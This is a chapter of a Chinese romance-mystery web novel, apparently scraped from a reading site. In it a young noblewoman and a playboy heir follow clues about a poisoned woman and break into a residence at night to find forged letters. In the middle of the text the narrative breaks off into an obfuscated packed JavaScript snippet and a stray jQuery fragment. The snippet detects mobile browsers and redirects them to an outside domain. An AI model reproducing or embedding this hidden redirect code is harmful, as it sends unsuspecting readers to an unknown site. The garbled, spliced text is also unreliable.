16. 一花杀(十)
作品:《案发现场禁止心动》 出了伯府,赵玉娆迫不及待地拽住姜培之的袖子:“姜哥哥,你方才说有了线索,到底是什么呀?”
姜培之摇着扇子,笑得神秘莫测:“这个嘛……说来话长。”
安慕青瞥了他一眼,注意到他衣摆上的草屑和袖口的水渍:“世子今日所谓的''急事'',怕是去查了什么见不得人的地方吧?”
“知我者,安小姐也。”姜培之凑近些,压低声音,“不过这里不是说话的地方。”
赵玉娆急得直跺脚:“那我们去哪儿说?”
姜培之折扇一收,指向街对面:“就去那家''客似云来''吧。正好有些饿了。”
一炷香后,马车停下。安慕青撩开车帘,抬眼望去,那是京城有名的客栈,三层小楼气派非常。她心下明了——这怕是长公主府的产业。
果然,一进客栈,掌柜的就亲自迎了上来,对姜培之行礼如仪,直接引他们上了三楼的雅间。这雅间布置精致,窗外正对着伯府的后街,是个观察的好位置。
“现在可以说了吧?”赵玉娆一坐下就急着追问。
姜培之却不急,先慢条斯理地点了几样点心,又要了一壶上好的龙井,这才开口道:“今日我之所以迟到,是因为去查了个人。”
“谁?”安慕青问。
“陆锦绣的那个贴身丫鬟,小荷。”姜培之抿了口茶,“你们可知,陆锦绣死后,这小荷就被打发去了庄子上?”
安慕青眸光一闪:“世子找到她了?”
“费了好大功夫。”姜培之摇扇,“那庄子在城外三十里,我骑马跑了个来回。”他指了指衣摆的草屑,“还钻了片林子。”
赵玉娆好奇道:“那小荷说了什么?”
姜培之突然正色::她说了一件很有意思的事——陆锦绣在庵中时,并非无人探望。”
安慕青坐直身子:“是谁?”
“每月十五,总有个戴帷帽的女子来看她。”姜培之压低声音,“每次来都带着食盒,说是庵里做的素斋,但食盒的重量可不像是装吃食的。”
安慕青立即想到柳如烟的那方绣帕:“可知道那女子是谁?”
“小荷说从未见过真容,但……”姜培之意味深长地顿了顿,“她记得那女子身上有种特别的木樨花香。”
赵玉娆惊呼:“和柳如烟一样的香味!”
“不止如此。”姜培之从袖中取出一张纸,“这是从小荷那里得到的——陆锦绣藏在经书里的字条。”
安慕青接过展开,只见上面娟秀的字迹写着:“花已开,盼君来。”
落款处画着一朵小小的木樨花。
“这字迹,”安慕青仔细端详,“似乎在哪里见过。”
姜培之笑道:“安小姐好眼力。这字迹与柳如烟平日写的诗稿,颇有几分相似。”
赵玉娆听得目瞪口呆:“所以每月去看陆锦绣的,是柳如烟?可她俩不是不和吗?”
“这就是最有趣的地方。”姜培之摇着扇子,“我特意去查了柳如烟这半年的行踪,你们猜怎么着?每月十五,她都说要去城外上香。”
安慕青沉吟道:“若真是柳如烟每月去探望陆锦绣,那她们的关系绝不像表面那么简单。”
“还有更精彩的。”姜培之突然压低声音,“小荷说,陆锦绣临终前那日,柳如烟确实去过,还带了个食盒。但奇怪的是,那日之后,食盒就不见了。”
安慕青想起在陆锦绣房中发现的空香膏盒:“世子可问过食盒的大小?”
“正好能装下香膏盒。”姜培之眼中闪着狡黠的光,“而且小荷说,那日柳如烟走后,陆锦绣就突然病重了。”
雅间内一时寂静。赵玉娆小声打破沉默:“所以是柳如烟害死了陆锦绣?可她为什么要这么做?”
安慕青摩挲着那张字条,心中暗想或许与陆锦绣“生病”有关。
她将今日在苏婉处的见闻,以及发现绣帕和香膏的事细细说了一遍。
姜培之听得眼中精光连闪:“有意思。柳如烟害苏婉是因为嫉妒,那害陆锦绣又是为何?”
窗外的叫卖声不绝于耳。
姜培之起身推开窗,望着伯府的方向:“看来今晚,得去会会这位柳小姐了。”
安慕青也站起身:“世子打算夜探伯府?”
“怎么?”姜培之回头一笑,“安小姐要一起吗?”
赵玉娆急忙道:“我也去!”
“郡主还是回府吧。”安慕青淡淡道,“夜探之事,人多反而不便。”
姜培之凑近赵玉娆,哄道:“小郡主乖乖回府,明日我给你带好玩儿的。”
赵玉娆虽不情愿,但也知道轻重,只得点头答应。
送走赵玉娆后,姜培之对安慕青笑道:“安小姐可要换身便利的衣裳?”
安慕青瞥他一眼:“不必。世子还是想想怎么进伯府吧。”
“这个简单。”姜培之摇着扇子,“伯府的西北角墙有棵老槐树,正好能借力。”
安慕青挑眉:“世子对伯府很熟?”
“年少时常来玩。”姜培之笑得意味深长,“与陆家几位公子……颇有交情。”
安慕青不再多问。她心知姜培之必定还藏着什么没说,但眼下查案要紧。
夜幕降临,二人换上深色衣裳,悄无声息地来到伯府西北墙外。果然如姜培之所说,有棵老槐树枝繁叶茂,正好探过墙头。
“安小姐请。”姜培之做了个手势,自己先利落地攀上树枝。
安慕青紧随其后。二人如猫儿般轻盈地落在院内,正是伯府后花园的位置。
“柳如烟住在东跨院的安宁轩。”姜培之低声道,“跟着我。”
夜色中,伯府静得出奇。偶尔有巡夜的家丁经过,都被二人轻易避开。来到听雪轩外,只见屋内还亮着灯。
姜培之打了个手势,二人悄无声息地跃上屋顶,轻轻掀开一片瓦。
屋内,柳如烟正对镜梳妆,口中哼着小曲,心情似乎很好。妆台上,赫然摆着几个“香如故”的香膏盒。
忽然,她起身走到床前,从枕下取出一个东西——正是那个失踪的食盒!
安慕青与姜培之交换了一个眼神。只见柳如烟打开食盒,里面竟是一叠信笺。她拿起最上面一封,轻声读道:“花已开,盼君来。”
读到这里,她突然冷笑一声,将信笺撕得粉碎:“蠢货!还真以为能攀高枝?”
就在这时,窗外突然传来一声猫叫。柳如烟警觉地抬头:“谁?”
安慕青立即按下姜培之,二人屏息贴在屋顶上。
柳如烟推开窗四下张望,见无异状,才嘟囔着关窗吹灯。
黑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307574|182233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暗中,姜培之凑到安慕青耳边,温热的气息拂过她的耳畔:“安小姐,看来我们找到关键了。”
安慕青侧身避开,低声道:“下去看看。”
二人如落叶般悄无声息地落地。姜培之熟练地拨开窗栓,闪身入内。安慕青紧随其后,借着月光快速搜查。
妆台、衣柜、床底……最后在梳妆匣的暗格里,找到了那叠信笺。
姜培之迅速翻阅,突然动作一顿:“安小姐,你看这个。”
那是一封未写完的信,字迹与陆锦绣的极其相似:“……妾已如此,望君早做打算……”
落款处,画着一朵木樨花。
安慕青拿起妆台上的香膏盒对比,突然发现信纸的角落沾着些许香膏痕迹。
“这些信……”她轻声道,“恐怕都是柳如烟伪造的。”
姜培之眼中闪过锐光:“所以她每月去庵中,是为了模仿陆锦绣的字迹?”
窗外忽然传来脚步声。二人立即吹熄火折子,隐入阴影中。
门被推开,一个丫鬟提着灯笼进来:“小姐,夫人让您过去一趟。”
话音未落,她看见了被翻动的梳妆匣,顿时惊呼:“来人啊!有贼!”
姜培之拉起安慕青就从窗口跃出。身后顿时人声鼎沸,火把的光亮迅速逼近。
“这边!”姜培之带着安慕青穿过假山,躲进一处山洞。
逼仄的空间里,二人贴得极近。安慕青能闻到姜培之身上淡淡的檀香,混着一丝汗味。
“安小姐,”姜培之在黑暗中低笑,“这般与你同处一室,倒是头一回。”
安慕青推开他:“世子还是想想怎么脱身吧。”
洞外,家丁的脚步声越来越近。火把的光亮已经照到了洞口。
姜培之突然揽住安慕青的腰:“得罪了。”
说罢,他足尖一点,竟带着安慕青跃上洞顶,借着藤蔓的遮掩,悄无声息地滑到墙边。
“抱紧我。”他在她耳边低语,随即纵身跃上墙头。
安慕青下意识环住他的脖颈。夜风中,她能感觉到姜培之稳健的心跳。
可是安慕青突然想起来,自己武功明明比这个纨绔世子要高啊!
落地时,他依然保持着拥抱的姿势。安慕青立即退开一步:“多谢世子。”
姜培之摇着扇子,夜色隐藏了安慕青微红的脸庞,姜培之笑道:“安小姐方才抱得那般紧,现在倒是疏远了。”
安慕青不理他的调侃,正色道:“那些信笺……”
“足以证明柳如烟与陆锦绣之死有关。”姜培之收起玩笑的神色,“但还不够。我们需要找到更确凿的证据。”
远处传来更声。安慕青望向伯府的方向:“明日,该去会会这位柳小姐了。”
姜培之突然道:“安小姐可知道,木樨花还有个名字叫''十里香''?”
安慕青挑眉:“世子想说什么?”
“没什么。”姜培之笑得意味深长,“只是觉得,这案子就像木樨花香一样,看似清淡,却无处不在。”
二人并肩走在寂静的街道上,月光将身影拉得很长。安慕青摩挲着袖中的香膏盒,心中隐隐觉得,这桩案子背后,或许藏着更惊人的秘密。
而身旁这个看似玩世不恭的世子,恐怕也比表面看起来的要深沉得多。